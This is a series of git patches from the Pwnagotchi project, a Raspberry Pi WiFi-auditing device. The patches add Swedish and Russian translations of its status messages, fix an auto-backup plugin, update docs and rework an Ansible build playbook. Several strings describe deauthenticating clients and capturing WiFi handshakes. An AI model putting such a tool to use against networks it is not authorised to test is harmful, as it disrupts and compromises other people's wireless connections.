z8-&0g>}R%>{qX`$jtd{(sUeyz?enU6Brf6xq4hrJ_{@)`9vLOWsw(pnxn=+ZC%xn|c>=+ME;;1`XmQplv6OH@e&HiXIIW zWLix!(}kk?*=SO*4Mq*MQPd-uVc21TIRsGP)(7zljQ$h8a^s#~iR6)>$WkCZM4hX#Y5V2giYioCU1jxXs^ZI;sinX(2|W zvGB;pnHFqXA>QJ((mD#&APJ!y!hrR2IpBp=XsOV2H+eM)#OsarKEbT>b|HJ#eCQ+X z4VE;KSsI8nty6Y_G`fW07x%3i*aLe>^koR`=Q-Ng)e?PJeU(N^8Gl>P;Gq@$#99>w zqF>R#B)Q@o@>=R44N8+}o4CqHcwLT0bJy1^*3aR=P$D1wwkQi%-@#Q#)OEe9!wPyM z4xHw24n~QK5efhG#>lpj8Hh{F!Y2qAO^n7ZGLN>@uGaJ1+>R3mWw016UJ=`frYtHf z>n7TyHV6W-gH$RM@5k9=wx`+OJ2CFPd7Mie6$pZvdDW!f?KtBRsJLAu zyz}{`&-6}f9_3B!HjUm>1J~(=ojZsrcEloWF5P^6>DCI}S=rj|ZLGJp)JPlG z>Dwp?J2%S6c6Rh4wKg|8TWXx}H=SkV{vzF5S=#FKH#*Bpw7Rj_?_IvXvA)t;lh$>1 zj4W&>oi>ZqPf|rICP}fE3c8+S_==sVFtIV;ceROrfUk^iO8r`8QAkvq#tF7P3QWC|s=5ZG zGUd`E&2hzFolo)=V?Lv<`jWF9*{M+OR@EM4H#rl~j#1+*i5yAi$eHQka4798qh@n` z|DkMp*>hrc%n;aG#@*XCdIoFTl%OzNO%qY3C6;A`e+C>e z?w|(Mwved#J1D1YYMvUdy?GLy=q0OoGur@jYtc%k58!fi6Zk&Qu+wKx>bcERX~Yek zqpM&A+BF(iPB_-zr*TmY@oC{>wyoKOI#ws@=Q, YEAR. +# +#, fuzzy +msgid "" +msgstr "" +"Project-Id-Version: PACKAGE VERSION\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2019-10-03 16:47+0200\n" +"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" +"Last-Translator: Mike Eriksson \n" +"Language-Team: LANGUAGE \n" +"Language: swedish\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=utf-8\n" +"Content-Transfer-Encoding: 8bit\n" + +msgid "ZzzzZZzzzzZzzz" +msgstr "" + +msgid "Hi, I'm Pwnagotchi! Starting ..." +msgstr "Hej, jag är Pwnagotchi! Startar ..." + +msgid "New day, new hunt, new pwns!" +msgstr "Ny dag, ny jakt, nya pwns!" + +msgid "Hack the Planet!" +msgstr "Hacka planeten!" + +msgid "AI ready." +msgstr "AI klar." + +msgid "The neural network is ready." +msgstr "Det neurala nätverket är klart." + +#, python-brace-format +msgid "Hey, channel {channel} is free! Your AP will say thanks." +msgstr "Du, kanal {channel} är ledig! Din AP will gilla detta." + +msgid "I'm bored ..." +msgstr "Jag har det så tråkigt..." + +msgid "Let's go for a walk!" +msgstr "Dags för en promenad!" + +msgid "This is the best day of my life!" +msgstr "Det här är den bästa dagen i mitt liv!" + +msgid "Shitty day :/" +msgstr "Idag suger :/" + +msgid "I'm extremely bored ..." +msgstr "Jag är extremt uttråkad ..." + +msgid "I'm very sad ..." +msgstr "Jag är jätteledsen ..." + +msgid "I'm sad" +msgstr "Jag är ledsen" + +msgid "I'm living the life!" +msgstr "Nu leker livet!" + +msgid "I pwn therefore I am." +msgstr "Jag pwnar därför är jag." + +msgid "So many networks!!!" +msgstr "Så många nätverk!!!" + +msgid "I'm having so much fun!" +msgstr "Fan vad skoj jag har!" + +msgid "My crime is that of curiosity ..." +msgstr "Mitt brott är att vara nyfiken ..." + +#, python-brace-format +msgid "Hello {name}! Nice to meet you. {name}" +msgstr "Hejsan {name}! Trevligt att träffas {name}" + +#, python-brace-format +msgid "Unit {name} is nearby! {name}" +msgstr "Enheten {name} är nära! {name}" + +#, python-brace-format +msgid "Uhm ... goodbye {name}" +msgstr "Uhm ... farväl {name}" + +#, python-brace-format +msgid "{name} is gone ..." +msgstr "{name} är borta ..." + +#, python-brace-format +msgid "Whoops ... {name} is gone." +msgstr "Hoppsan ... {name} är borta." + +#, python-brace-format +msgid "{name} missed!" +msgstr "{name} missade!" + +msgid "Missed!" +msgstr "Bom!" + +msgid "Nobody wants to play with me ..." +msgstr "Ingen vill leka med mig ..." + +msgid "I feel so alone ..." +msgstr "Jag är så ensam ..." + +msgid "Where's everybody?!" +msgstr "Var är alla?!" + +#, python-brace-format +msgid "Napping for {secs}s ..." +msgstr "Sover för {secs}s ..." + +msgid "Zzzzz" +msgstr "" + +#, python-brace-format +msgid "ZzzZzzz ({secs}s)" +msgstr "" + +#, python-brace-format +msgid "Waiting for {secs}s ..." +msgstr "Väntar {secs}s ..." + +#, python-brace-format +msgid "Looking around ({secs}s)" +msgstr "Tittar omkring mig ({secs}s)" + +#, python-brace-format +msgid "Hey {what} let's be friends!" +msgstr "Hejsan {what} låt oss vara vänner" + +#, python-brace-format +msgid "Associating to {what}" +msgstr "Ansluter till {what}" + +#, python-brace-format +msgid "Yo {what}!" +msgstr "" + +#, python-brace-format +msgid "Just decided that {mac} needs no WiFi!" +msgstr "Jag bestämde just att {mac} inte behöver WiFi!" + +#, python-brace-format +msgid "Deauthenticating {mac}" +msgstr "" + +#, python-brace-format +msgid "Kickbanning {mac}!" +msgstr "" + +#, python-brace-format +msgid "Cool, we got {num} new handshake{plural}!" +msgstr "Lysande, vi har {num} ny handskakningar{plural}!" + +msgid "Ops, something went wrong ... Rebooting ..." +msgstr "Hoppsan, någpt gick fel ... Startar om ..." + +#, python-brace-format +msgid "Kicked {num} stations\n" +msgstr "Sparkade {num} stationer\n" + +#, python-brace-format +msgid "Made {num} new friends\n" +msgstr "Har {num} nya vänner\n" + +#, python-brace-format +msgid "Got {num} handshakes\n" +msgstr "Har {num} handskakningar\n" + +msgid "Met 1 peer" +msgstr "Mötte 1 jämlike" + +#, python-brace-format +msgid "Met {num} peers" +msgstr "Mötte {num} jämlikar" + +#, python-brace-format +msgid "" +"I've been pwning for {duration} and kicked {deauthed} clients! I've also met " +"{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " +"#pwnlog #pwnlife #hacktheplanet #skynet" +msgstr "Jag har pwnat för {duration} och sparkat ut {deauthed} klienter, Jag " +"har också träffat {associated} nya vänner och har skakat {handshakes} händer! " +"#pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet" + +msgid "hours" +msgstr "timmar" + +msgid "hour" +msgstr "timme" + +msgid "minutes" +msgstr "minuter" + +msgid "minute" +msgstr "minut" From 695499314d094b346d26164aaf8a5f1ad8aa2761 Mon Sep 17 00:00:00 2001 From: dadav <33197631+dadav@users.noreply.github.com> Date: Sat, 5 Oct 2019 17:57:15 +0200 Subject: [PATCH 52/64] Fix split-bug in script --- sdcard/rootfs/root/pwnagotchi/config.yml | 4 ++-- .../scripts/pwnagotchi/plugins/default/auto-backup.py | 9 ++++++++- 2 files changed, 10 insertions(+), 3 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/config.yml b/sdcard/rootfs/root/pwnagotchi/config.yml index bbc93b85..ae470ad4 100644 --- a/sdcard/rootfs/root/pwnagotchi/config.yml +++ b/sdcard/rootfs/root/pwnagotchi/config.yml @@ -15,7 +15,7 @@ main: files: - /root/brain.nn - /root/brain.json - - /root/custom.yaml + - /root/custom.yml - /root/handshakes - /etc/ssh - /etc/hostname @@ -24,7 +24,7 @@ main: - /var/log/pwnagotchi.log commands: - 'tar czf /tmp/backup.tar.gz {files}' - - 'scp /tmp/backup.tar.gz pwnagotchi@10.0.0.1:/home/pwnagotchi/backups/backup-$(date).tar.gz' + - 'scp /tmp/backup.tar.gz pwnagotchi@10.0.0.1:/home/pwnagotchi/backups/backup-$(date +%s).tar.gz' gps: enabled: false twitter: diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py index 73122017..731a40ff 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py @@ -30,6 +30,7 @@ def on_loaded(): return READY = True + logging.info("AUTO-BACKUP: Successfuly loaded.") def on_internet_available(display, config, log): @@ -41,11 +42,17 @@ def on_internet_available(display, config, log): files_to_backup = " ".join(OPTIONS['files']) try: + logging.info("AUTO-BACKUP: Backing up ...") display.set('status', 'Backing up ...') display.update() for cmd in OPTIONS['commands']: - subprocess.call(cmd.format(files=files_to_backup).split(), stdout=open(os.devnull, 'wb')) + logging.info(f"AUTO-BACKUP: Running {cmd.format(files=files_to_backup)}") + process = subprocess.Popen(cmd.format(files=files_to_backup), shell=True, stdin=None, + stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash") + process.wait() + if process.returncode > 0: + raise OSError(f"Command failed (rc: {process.returncode})") logging.info("AUTO-BACKUP: backup done") STATUS.update() From 419208ee5d5d26307b7e273f46704a29e27dd61f Mon Sep 17 00:00:00 2001 From: Elliot Manson Date: Sat, 5 Oct 2019 19:02:59 +0300 Subject: [PATCH 53/64] Translated into Russian --- .../pwnagotchi/locale/ru/LC_MESSAGES/voice.mo | Bin 0 -> 5038 bytes .../pwnagotchi/locale/ru/LC_MESSAGES/voice.po | 205 ++++++++++++++++++ 2 files changed, 205 insertions(+) create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/ru/LC_MESSAGES/voice.mo create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/ru/LC_MESSAGES/voice.po diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/ru/LC_MESSAGES/voice.mo b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/ru/LC_MESSAGES/voice.mo new file mode 100644 index 0000000000000000000000000000000000000000..08fae17ce786f4525b5a7211b10217638ba6dea1 GIT binary patch literal 5038 zcmbW4+ix6K9mh{0P;d*SrBJTzS<)sk@oskAM5J!rD$Tvrt(!QQ_5n2BJ@yXXoiQ`B zaW}4M;*cgK#u05Hw9r-*QOZLUGC<1N5OQ0(aeW!+=oC%|D)y*z}Gv% z{|;*K<_{>f8SDnd&aZ%Ce+`s*M?np~42u30@U!4=K#})1Q0CtNiJt=R0L6|T@Mdr~ z_+fAm#AP)MLZzx@?_URTRgHs~q`m=)zt4cO?nThMPN_G*dw9R?2BmHX9|Io($3Wp} z3G4#j1~-B?-I&Jt3!uC|4c5S)f?L2_aaM!7!23W0ia)P`p93#}p9cQ`-UD8P}ZLVWnK&xz<+?7!8-}E*wYVg0iOg#?;GGw@E4%yU5Bt; zpa#Wn1NMQhg5v*QK@HvrS)E`W+zJkYcY)KO=$`{6Uw#W>g8B=X1OE-;lDeJXAxd?D zxT5X{B~E>y#N{9;@q7Y=I%Tr=0Q@BHlc40qS&%SU-z6R*OYFLXTh@!O@4QND2E+!@ z+s!TcRpb`?d1qX`%cgbW_rN@mP@gqIqHR_YvGvm7Ic$Ki~jGBqDS|f03lR34^ zIE|=kyvQx5LMG}?c~b3duWPRfJJdd>JgS+k`)iJ8qMX`iYBiL4PTfrA^doNBh!J&T zBHi>Gh3pH{nwe#~W}=Ou9x{43a1GXojAoZEqsB8eJ&`?3YBywxF**IX-w5=Mem(Bi zYC3e97~puLVL|P4yY&8zb=^PiIrv$wx;cF?astamp-@o!^{_!^=xe9udq$^YW8dZvU5U-VV4sYhkC@^(XYrbQ=>KqoTky&q)t9rQMONG*6YL3 zCh=AeHNr?&Oxdkq9AQAeWDAN-CDfj;2i-kxPJI#Uhlr;*XD6gX;*d?nFtVBABgv=_m?7V9r|ZG08(|E} zbk7!bkN`Vg6SdK}AB={%Tuu#;U7nH3Z4HY*Stl5%@@(Cc^pZd!2si7^EF%w9>sITC z?^lMJ!laa~I^?<1Bjj0@d&UWdnz`23LC3WQ+9X{=%b-*cm24!pg@gxkYOw12W1-ct zDsP0!E2zg?ttqFTIC6x4N7lquUZ0R3`#~lgIijkRz5NMQ-Srxg$skl$%eFLUL-j1$ z{ek~AQ;zccEBP;x1(a2f?l@q^{2CxTA z(mnZ7F<;!KOWS+46*m{}E*3i;cD#{>Gh*@s#;LQeZ-3wJRq3Tdv16z2MZ`Bh&>TZb zL}{w+9QVAI1@R>w zW#(JRoMPsDPQ@>ve%1=ZIvGvA$(KuvJ;U>vv{9+}RhG3CWa8glCVoE`FJQ$=d^w&) z`eltX$C4Sba*2`Ucs`j*j-&h4R)x&}Zj~Z&uvWnq8GZ2~R)gzJSTgnDHDGoQh|) z&%;Xih1d7vg1%m=UKLCZ)RLH*M02QD|?E z3b(1|t0(*~pJT$ddMJQA2$FnVCMfc$eKKGSZmn!vRj__OqgO(fCgl_vNc5P;+O=l} zOZ{AOIyuowqXk4s;R?Us5(2J1L%eG-T>Sse6E=5jrV%D<;VH4OOD88K(Ant%6Y)a) z#+`UMJ!EKl!-;r4PY{7l6~AQJAyryOj%+03%k~MIDHMe*`56jW((|IN1d8_x7OW5) z_@yUN&rCls=grh;vdUs2kGIAmThbMWlScSY)=xY$uxy4#VtjA zhHA$iY5udVVdhGPw)$vt8Y5qpNZR<@$lE2G;cjwfNEQ^q*rSTvd*w$5Z-B2ywfQ;pT)09i0~t|fK5#- zk{Tlda#+I;o=~xZYT}9i=>$oh_8u6|(zMQ{#@c-ca~Id}2RWjGF1n`Q#EXdk2^)@e zgk~+0=U69u0-;1zdLmNs>nvQdxnd7^1XY^Ff+Sb_j2C||D}gka<&@0lWzcqyc%H*u z{9_8lhB=c>G)N3-YO)E68!yHyt^em;bIdDu+H>7C$2, 2019. +# +msgid "" +msgstr "" +"Project-Id-Version: \n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2019-10-03 16:47+0200\n" +"PO-Revision-Date: 2019-10-05 18:50+0300\n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: Poedit 2.2.4\n" +"Last-Translator: Elliot Manson\n" +"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" +"%10<=4 && (n%100<12 || n%100>14) ? 1 : 2);\n" +"Language: ru_RU\n" + +msgid "ZzzzZZzzzzZzzz" +msgstr "ZzzzZZzzzzZzzz" + +msgid "Hi, I'm Pwnagotchi! Starting ..." +msgstr "Привет, я Pwnagotchi! Поехали …" + +msgid "New day, new hunt, new pwns!" +msgstr "Новый день, новая охота, новые взломы!" + +msgid "Hack the Planet!" +msgstr "Взломаем всю планету!" + +msgid "AI ready." +msgstr "Искусственный интеллект готов." + +msgid "The neural network is ready." +msgstr "Нейронная сеть готова." + +#, python-brace-format +msgid "Hey, channel {channel} is free! Your AP will say thanks." +msgstr "Эй, канал {channel} свободен! Ваша точка доступа скажет спасибо." + +msgid "I'm bored ..." +msgstr "Мне скучно …" + +msgid "Let's go for a walk!" +msgstr "Пойдем прогуляемся!" + +msgid "This is the best day of my life!" +msgstr "Это лучший день в моей жизни!" + +msgid "Shitty day :/" +msgstr "Дерьмовый день :/" + +msgid "I'm extremely bored ..." +msgstr "Мне очень скучно …" + +msgid "I'm very sad ..." +msgstr "Мне очень грустно …" + +msgid "I'm sad" +msgstr "Мне грустно" + +msgid "I'm living the life!" +msgstr "Я живу своей жизнью!" + +msgid "I pwn therefore I am." +msgstr "Я взламываю, поэтому я существую." + +msgid "So many networks!!!" +msgstr "Так, много сетей!!!" + +msgid "I'm having so much fun!" +msgstr "Мне так весело!" + +msgid "My crime is that of curiosity ..." +msgstr "Моё преступление - это любопытство …" + +#, python-brace-format +msgid "Hello {name}! Nice to meet you. {name}" +msgstr "Привет, {name}! Приятно познакомиться. {name}" + +#, python-brace-format +msgid "Unit {name} is nearby! {name}" +msgstr "Цель {name} близко! {name}" + +#, python-brace-format +msgid "Uhm ... goodbye {name}" +msgstr "Хм … до свидания {name}" + +#, python-brace-format +msgid "{name} is gone ..." +msgstr "{name} исчезла …" + +#, python-brace-format +msgid "Whoops ... {name} is gone." +msgstr "Упс … {name} исчезла." + +#, python-brace-format +msgid "{name} missed!" +msgstr "{name} упустил!" + +msgid "Missed!" +msgstr "Промахнулся!" + +msgid "Nobody wants to play with me ..." +msgstr "Никто не хочет играть со мной …" + +msgid "I feel so alone ..." +msgstr "Мне так одиноко …" + +msgid "Where's everybody?!" +msgstr "Где все?!" + +#, python-brace-format +msgid "Napping for {secs}s ..." +msgstr "Дремлет {secs}с …" + +msgid "Zzzzz" +msgstr "Zzzzz" + +#, python-brace-format +msgid "ZzzZzzz ({secs}s)" +msgstr "ZzzZzzz ({secs}c)" + +#, python-brace-format +msgid "Waiting for {secs}s ..." +msgstr "Ждем {secs}c …" + +#, python-brace-format +msgid "Looking around ({secs}s)" +msgstr "Оглядываюсь вокруг ({secs}с)" + +#, python-brace-format +msgid "Hey {what} let's be friends!" +msgstr "Эй, {what} давай дружить!" + +#, python-brace-format +msgid "Associating to {what}" +msgstr "Связываюсь с {what}" + +#, python-brace-format +msgid "Yo {what}!" +msgstr "Йоy {what}!" + +#, python-brace-format +msgid "Just decided that {mac} needs no WiFi!" +msgstr "Просто решил, что {mac} не нужен WiFi! Кхе-кхе)" + +#, python-brace-format +msgid "Deauthenticating {mac}" +msgstr "Деаутентификация {mac}" + +#, python-brace-format +msgid "Kickbanning {mac}!" +msgstr "Кикаю {mac}!" + +#, python-brace-format +msgid "Cool, we got {num} new handshake{plural}!" +msgstr "Круто, мы получили {num} новое рукопожатие!" + +msgid "Ops, something went wrong ... Rebooting ..." +msgstr "Ой, что-то пошло не так … Перезагружаюсь …" + +#, python-brace-format +msgid "Kicked {num} stations\n" +msgstr "Кикнул {num} станцию\n" + +#, python-brace-format +msgid "Made {num} new friends\n" +msgstr "Заимел {num} новых друзей\n" + +#, python-brace-format +msgid "Got {num} handshakes\n" +msgstr "Получил {num} рукопожатие\n" + +msgid "Met 1 peer" +msgstr "Встретился один знакомый" + +#, python-brace-format +msgid "Met {num} peers" +msgstr "Встретились {num} приятелей" + +#, python-brace-format +msgid "" +"I've been pwning for {duration} and kicked {deauthed} clients! I've also met " +"{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " +"#pwnlog #pwnlife #hacktheplanet #skynet" +msgstr "" +"Я взламывал {duration} и кикнул {deauthed} клиентов! Я также встретил " +"{associated} новых друзей и съел {handshakes} рукопожатий! #pwnagotchi " +"#pwnlog #pwnlife #hacktheplanet #skynet" + +msgid "hours" +msgstr "часов" + +msgid "hour" +msgstr "час" + +msgid "minutes" +msgstr "минут" + +msgid "minute" +msgstr "минуту" From 09c175e2ebd0eda5e264bf34d4ed99e1bd1a725d Mon Sep 17 00:00:00 2001 From: Elliot Manson Date: Sat, 5 Oct 2019 19:07:21 +0300 Subject: [PATCH 54/64] Corrected the documentation --- docs/configure.md | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/configure.md b/docs/configure.md index 733abc96..d69bc9a9 100644 --- a/docs/configure.md +++ b/docs/configure.md @@ -40,6 +40,7 @@ For instance, you can change `main.lang` to one of the supported languages: - macedonian - italian - french +- russian ## Display Selection From cc651c3290ff3b2538694b592f1df1ff9556a85e Mon Sep 17 00:00:00 2001 From: Cassiano Aquino Date: Sat, 5 Oct 2019 17:31:14 +0100 Subject: [PATCH 55/64] many builder fixes and support for serial gadget --- builder/pwnagotchi.yml | 44 +++++++++++++++++++++++++++++++++--------- 1 file changed, 35 insertions(+), 9 deletions(-) diff --git a/builder/pwnagotchi.yml b/builder/pwnagotchi.yml index e091dabf..d2263a84 100644 --- a/builder/pwnagotchi.yml +++ b/builder/pwnagotchi.yml @@ -42,6 +42,19 @@ apt: update_cache: yes + - name: remove unecessary apt packages + apt: + name: "{{ packages }}" + state: absent + purge: yes + var: + packages: + - rasberrypi-net-mods + - dhcpcd5 + - triggerhappy + - wpa_supplicant + - nfs-common + - name: upgrade apt distro apt: upgrade: dist @@ -101,13 +114,14 @@ - python3-termcolor - python3-astor - python3-backports.weakref - - python3-keras-applications - - python3-keras-preprocessing + - python3-h5py - python3-six - python3-protobuf - python3-wrapt - python3-wheel - python3-mock + - python3-scipy + - python3-cloudpickle - name: configure dphys-swapfile file: @@ -125,8 +139,10 @@ - apt-daily.service - apt-daily-upgrade.timer - apt-daily-upgrade.service + - wpa_supplicant.service - bluetooth.service - triggerhappy.service + - ifup@wlan0.service - name: enable dphys-swapfile service systemd: @@ -134,33 +150,43 @@ state: started enabled: yes + - name: enable gadget serial port service + systemd: + name: getty@ttyGS0.service + state: started + enabled: yes + - name: acquire python3 pip target command: "python3 -c 'import sys;print(sys.path.pop())'" register: pip_target - - name: install pip packages that are not architecture tied + - name: install pip packages pip: name: "{{ packages }}" extra_args: "--no-deps --extra-index-url=https://www.piwheels.hostedpi.com/simple/ --prefer-binary --no-cache-dir --platform=armv6l --target={{ pip_target.stdout }}" vars: packages: - - absl-py + - inky + - smbus2 + - absl-py>=0.1.6 - enum34 - - gast + - gast==0.2.2 - google_pasta - opt_einsum - - tensorboard - scapy - gym + - keras_applications>=1.0.6 + - keras_preprocessing>=1.0.5 - stable-baselines - file_read_backwards - - tensorflow_estimator + - tensorflow_estimator>=1.14.0,<1.15.0 + - tensorboard>=1.13.0,<1.14.0 - name: install grpcio command: "pip3 install --no-deps --extra-index-url=https://www.piwheels.hostedpi.com/simple/ --no-cache-dir --prefer-binary --platform=armv6l --only-binary=:all: --target={{ pip_target.stdout }} https://www.piwheels.hostedpi.com/simple/grpcio/grpcio-1.24.1-cp37-cp37m-linux_armv6l.whl" - name: install tensorflow - command: "pip3 install --no-deps --extra-index-url=https://www.piwheels.hostedpi.com/simple/ --no-cache-dir --prefer-binary --platform=armv6l --only-binary=:all: --target={{ pip_target.stdout }} https://storage.googleapis.com/tensorflow/raspberrypi/tensorflow-1.14.0-cp34-none-linux_armv6l.whl" + command: "pip3 install --no-deps --extra-index-url=https://www.piwheels.hostedpi.com/simple/ --no-cache-dir --prefer-binary --platform=armv6l --only-binary=:all: --target={{ pip_target.stdout }} https://www.piwheels.org/simple/tensorflow/tensorflow-1.13.1-cp37-none-linux_armv6l.whl" - name: fetch bettercap release information uri: @@ -318,7 +344,7 @@ state: present backup: no regexp: '(.*)$' - line: '\1 modules-load=dwc2,g_ether' + line: '\1 modules-load=dwc2,g_cdc' - name: configure ssh lineinfile: From 74a23b3c069945f51b74f210b35e17fb3901ee0b Mon Sep 17 00:00:00 2001 From: Cassiano Aquino Date: Sat, 5 Oct 2019 17:41:13 +0100 Subject: [PATCH 56/64] fix typo on purge package blocks --- builder/pwnagotchi.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/builder/pwnagotchi.yml b/builder/pwnagotchi.yml index d2263a84..77a5cdf8 100644 --- a/builder/pwnagotchi.yml +++ b/builder/pwnagotchi.yml @@ -47,7 +47,7 @@ name: "{{ packages }}" state: absent purge: yes - var: + vars: packages: - rasberrypi-net-mods - dhcpcd5 From 6ce522a2619caa4882bc11e76f7731df2a5e45d7 Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Sat, 5 Oct 2019 18:49:57 +0200 Subject: [PATCH 57/64] releasing v1.0.0plz3 --- sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/__init__.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/__init__.py index c894d45f..dd6c38ac 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/__init__.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/__init__.py @@ -1,6 +1,6 @@ import subprocess -version = '1.0.0plz2' +version = '1.0.0plz3' _name = None From 7cc82bccb856b8d7773c16373d70c8f16afd32b5 Mon Sep 17 00:00:00 2001 From: swedishmike Date: Sat, 5 Oct 2019 18:11:05 +0100 Subject: [PATCH 58/64] More documentation updates for languages --- docs/configure.md | 1 + sdcard/rootfs/root/pwnagotchi/config.yml | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/configure.md b/docs/configure.md index d69bc9a9..d2bb0f5a 100644 --- a/docs/configure.md +++ b/docs/configure.md @@ -41,6 +41,7 @@ For instance, you can change `main.lang` to one of the supported languages: - italian - french - russian +- swedish ## Display Selection diff --git a/sdcard/rootfs/root/pwnagotchi/config.yml b/sdcard/rootfs/root/pwnagotchi/config.yml index ae470ad4..a93a7e89 100644 --- a/sdcard/rootfs/root/pwnagotchi/config.yml +++ b/sdcard/rootfs/root/pwnagotchi/config.yml @@ -1,6 +1,6 @@ # main algorithm configuration main: - # currently implemented: en (default), de, el, fr, it, mk, nl, se + # currently implemented: en (default), de, el, fr, it, mk, nl, ru, se lang: en # custom plugins path, if null only default plugins with be loaded custom_plugins: From 75b1e78e399ec641e3b36a3a1ee39a5c91731336 Mon Sep 17 00:00:00 2001 From: dadav <33197631+dadav@users.noreply.github.com> Date: Sat, 5 Oct 2019 18:51:20 +0200 Subject: [PATCH 59/64] Refracture ansible playbook --- builder/pwnagotchi.yml | 270 ++++++++++++++++++++--------------------- 1 file changed, 133 insertions(+), 137 deletions(-) diff --git a/builder/pwnagotchi.yml b/builder/pwnagotchi.yml index 77a5cdf8..a8dca14b 100644 --- a/builder/pwnagotchi.yml +++ b/builder/pwnagotchi.yml @@ -3,29 +3,135 @@ - 127.0.0.1 become: yes vars: - pwn_hostname: "{{ lookup('env', 'PWN_HOSTNAME') | default('pwnagotchi', true) }}" - pwn_version: "{{ lookup('env', 'PWN_VERSION') | default('master', true) }} " - bettercap_query: "assets[?contains(name, 'armv6l')].browser_download_url" + pwnagotchi: + hostname: "{{ lookup('env', 'PWN_HOSTNAME') | default('pwnagotchi', true) }}" + version: "{{ lookup('env', 'PWN_VERSION') | default('master', true) }} " + system: + boot_options: + - "dtoverlay=dwc2" + - "dtparam=spi=on" + - "dtoverlay=spi1-3cs" + - "dtoverlay=pi3-disable-bt" + - "dtparam=audio=off" + services: + enable: + - dphys-swapfile.service + - getty@ttyGS0.service + disable: + - apt-daily.timer + - apt-daily.service + - apt-daily-upgrade.timer + - apt-daily-upgrade.service + - wpa_supplicant.service + - bluetooth.service + - triggerhappy.service + - ifup@wlan0.service + packages: + pip: + install: + - inky + - smbus2 + - absl-py>=0.1.6 + - enum34 + - gast==0.2.2 + - google_pasta + - opt_einsum + - scapy + - gym + - keras_applications>=1.0.6 + - keras_preprocessing>=1.0.5 + - stable-baselines + - file_read_backwards + - tensorflow_estimator>=1.14.0,<1.15.0 + - tensorboard>=1.13.0,<1.14.0 + apt: + remove: + - rasberrypi-net-mods + - dhcpcd5 + - triggerhappy + - wpa_supplicant + - nfs-common + install: + - vim + - screen + - golang + - git + - build-essential + - python3-pip + - unzip + - gawk + - libopenmpi-dev + - libatlas-base-dev + - libjasper-dev + - libqtgui4 + - libqt4-test + - libopenjp2-7 + - tcpdump + - lsof + - libilmbase23 + - libopenexr23 + - libgstreamer1.0-0 + - libavcodec58 + - libavformat58 + - libswscale5 + - libpcap-dev + - libusb-1.0-0-dev + - libnetfilter-queue-dev + - dphys-swapfile + - kalipi-kernel + - kalipi-bootloader + - kalipi-re4son-firmware + - kalipi-kernel-headers + - libraspberrypi0 + - libraspberrypi-dev + - libraspberrypi-doc + - libraspberrypi-bin + - fonts-dejavu + - fonts-dejavu-core + - fonts-dejavu-extra + - python3-crypto + - python3-requests + - python3-yaml + - python3-smbus + - python3-inkyphat + - python3-numpy + - python3-pil + - python3-tweepy + - python3-opencv + - python3-termcolor + - python3-astor + - python3-backports.weakref + - python3-h5py + - python3-six + - python3-protobuf + - python3-wrapt + - python3-wheel + - python3-mock + - python3-scipy + - python3-cloudpickle + + bettercap: + query: "assets[?contains(name, 'armv6l')].browser_download_url" tasks: - name: selected hostname debug: - msg: "{{ pwn_hostname }}" + msg: "{{ pwnagotchi.hostname }}" - name: build version debug: - msg: "{{ pwn_version }}" + msg: "{{ pwnagotchi.version }}" - name: change hostname hostname: - name: "{{pwn_hostname}}" + name: "{{pwnagotchi.hostname}}" - name: add hostname to /etc/hosts lineinfile: dest: /etc/hosts regexp: '^127\.0\.0\.1[ \t]+localhost' - line: '127.0.0.1 localhost {{pwn_hostname}} {{pwn_hostname}}.local' + line: '127.0.0.1 localhost {{pwnagotchi.hostname}} {{pwnagotchi.hostname}}.local' state: present - name: Add re4son-kernel repo key @@ -44,16 +150,9 @@ - name: remove unecessary apt packages apt: - name: "{{ packages }}" + name: "{{ packages.apt.remove }}" state: absent purge: yes - vars: - packages: - - rasberrypi-net-mods - - dhcpcd5 - - triggerhappy - - wpa_supplicant - - nfs-common - name: upgrade apt distro apt: @@ -61,126 +160,22 @@ - name: install packages apt: - name: "{{ packages }}" + name: "{{ packages.apt.install }}" state: present - vars: - packages: - - vim - - screen - - golang - - git - - build-essential - - python3-pip - - unzip - - gawk - - libopenmpi-dev - - libatlas-base-dev - - libjasper-dev - - libqtgui4 - - libqt4-test - - libopenjp2-7 - - tcpdump - - lsof - - libilmbase23 - - libopenexr23 - - libgstreamer1.0-0 - - libavcodec58 - - libavformat58 - - libswscale5 - - libpcap-dev - - libusb-1.0-0-dev - - libnetfilter-queue-dev - - dphys-swapfile - - kalipi-kernel - - kalipi-bootloader - - kalipi-re4son-firmware - - kalipi-kernel-headers - - libraspberrypi0 - - libraspberrypi-dev - - libraspberrypi-doc - - libraspberrypi-bin - - fonts-dejavu - - 